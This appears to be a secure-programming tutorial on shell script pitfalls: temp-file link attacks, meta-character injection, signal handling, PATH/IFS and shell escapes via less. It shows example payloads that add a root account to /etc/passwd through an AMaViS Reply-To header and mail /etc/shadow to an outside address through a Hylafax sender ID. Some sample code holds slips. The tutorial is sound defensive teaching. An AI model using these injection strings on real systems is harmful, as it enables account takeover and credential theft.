Security-specific Programming Errors (Part 7)

Thomas Biege

• Shell Scripts
• File System
• User Input/Untrusted Data
• Signals
• Miscellaneous

Shell Scripts

Shell scripts usually perform small, frequently recurring system tasks. They are used only on networks and servers and then only as CGI scripts or small parsers or help tools for processing data. You must not assign higher level privileges to shell scripts, since the powerful shell languages make it impossible to guarantee procedural security. If, however, you assigned higher-level privileges to a script anyway, modern command shells usually discard the script. However, the tasks performed by shell scripts often require root privileges. If, for example, you call a script as "root" from the boot scripts, as a cron job or with sudo, no SetUID/ GID bits are required, even though the required rights have been granted anyway.

Shell scripts are vulnerable whenever they must work with user input or public directories. Buffer overflows do not pose a threat with shell languages.

When creating temporary files, you are vulnerable to the same dangers (link attacks, race conditions) as with C/C++.

The following methods are not secure:

[...]
TMPFILE=/var/tmp/myfile.$$

echo "some data" > $TMPFILE
echo "some more data >> $TMPFILE
[...]

[...]
TMPFILE=/var/tmp/myfile.$$

touch $TMPFILE
echo "add some data" >> $TMPFILE
[...]

If the script is executed while booting, for example, that is to say, with root privileges, an attacker can overwrite any files of his choice by setting (symbolic) links. If the files also contain sensitive data, e.g., CHAP/PAP passwords for PPP, it is possible that anyone can read the data.

There are three different methods to securely create files in public directories:

1. mktemp(1) from OpenBSD (other systems as well, e.g., Linux)

   [...]
   TMPFILE=`/bin/mktemp -q /var/tmp/myfile.XXXXXX` || exit 1
   
   echo "data" > $TMPFILE
   [...]
   

   You can use mktemp(1) to create directories as well as files. In addition, mktemp(1) creates files or directories with the rights 0600 or 0700, so that only the owner can access them.

2. A separate directory

   [...]
   umask 0077 # just to be on the safe side
   TMPDIR=/tmp/mydir.$$
   
   /bin/rm -rf $TMPDIR
   /bin/mkdir -m 0700 $TMPDIR || exit 1
   [...]
   

   You can now securely create files in this directory.

3. noclobber option with command shells (not supported by all shells)

   #!/bin/bash
   [...]
   /bin/TMPFILE=/tmp/myfile.$$
   
   /bin/rm -rf $TMPFILE
   
   set -o noclobber
   > $TMPFILE || exit 1
   set +o noclobber
   [...]
   

   If you did not set the "noclobber" option, then you must not overwrite existing file system entries. This means that if we remove the "noclobber" option, we can create the file only if it does not exist!

Shells have so-called meta-characters that you can use to start programs.

An attacker can execute programs on the target system as soon as a shell script processes these characters from the data of an untrusted source at the shell level without rendering them harmless with an escape character, such as backslash \ or double or single quotation marks (" or '). Dangerous sources do not just include network data, keyboard entries and file contents, but file names as well.

We are using an old bug in AMaViS as an example here. AMaViS is an e-mail virus scanner that runs under Linux.

The following code excerpt contains the error:

[...]
cat <<EOF| ${mail} -s "VIRUS IN YOUR MAIL TO $7" $2

V I R U S A L E R T

Our virus checker found a VIRUS in your email to "$7".
We stopped delivery of this e-mail!

Now it is up you to check your system for viruses

For further information about this virus checker see:
http://aachalon.de/AMaViS/
AMaViS - A Mail Virus Scanner, licensed GPL

EOF
[...]

If an e-mail contains a virus, this section is responsible for using the mail program to send a message with an alert to the e-mail's sender. The program uses the Reply to information from the e-mail header for the recipient address. This header can also be found in the $2 variable. For example, an attacker can select $(echo "evil:0:0:Boese:/:/bin/bash" > /etc/passwd)@evil.org as the Reply To header. If you now access mail, the system executes echo "evil:0:0:Boese:/:/bin/bash" > /etc/passwd. Since the script is running with root privileges at this time, the only way an attacker can set up his own user account that also has root access rights is with the help of an e-mail message that contains a virus.

Another example is the Hylafax fax server. If, for example, an attacker enters 'mail hax0r@looser.org < /etc/shadow' as the fax sender's ID, the system executes this command while the program is running and the attacker receives a copy of the shadow file as an e-mail message.

At the time, a patch was available to fix this security flaw. The patch removed the meta-characters from the addresses. A better solution is to allow authorized characters only. If you are unsure if a character is authorized or not, you should refer to the Request For Comments or RFC for short, which contains the quasi-standard for proheadlineols and Internet behavior.

The following shell code could serve as a patch:

[...]
CHECK=${1//[0-9a-zA-Z]/}

if [ "$CHECK" = "" ]; then
     echo "It's all fine!"
else
     echo "Namespace is not clean!"
     exit 1
fi
[...]

Administrators are more likely to prevent access to their systems at the shell level, for example, with mail or FTP servers.

To achieve this goal, they often use shell scripts as the login shell, which informs users logging into the system that interactive login is not permitted.

Another option is to start other scripts or programs from the login shell to allow users to change their passwords, for example.

An attacker can now attempt to use a variety of different signals to abort the called program in order to get to the command shell level. In order to prevent such an attack, the corresponding signals must be intercepted and the login session must be terminated.

For example:

[...]
trap "echo 'Good Bye';exit 0" 1 2 3 4 5 6 7 8 9 10 11 12 13
                              14 15 16 23 24 25 26 27
[...]
# do something
[...]

There isn't much left to discuss at this point.

You should always use the full path name when you work with file names and activate commands. If an attacker succeeds at altering the program environment, such as, for example the environment variable PATH, he can have the script activate his programs. With older shells, you must pay attention to the IFS variable.

If you are using shell scripts to restrict interactive login sessions to a few selected programs, you should closely examine these programs. Many Unix programs provide the option to execute shell commands with specific character strings, such as, for example ~! or !. Thus, if you want to allow the user to access the Man page for passwd(1) before he changes his password, you should realize that man(1) uses the program less(1) to display the "Man" page. Now, the attacker can simply start programs by using and entering less(1) !<Program>.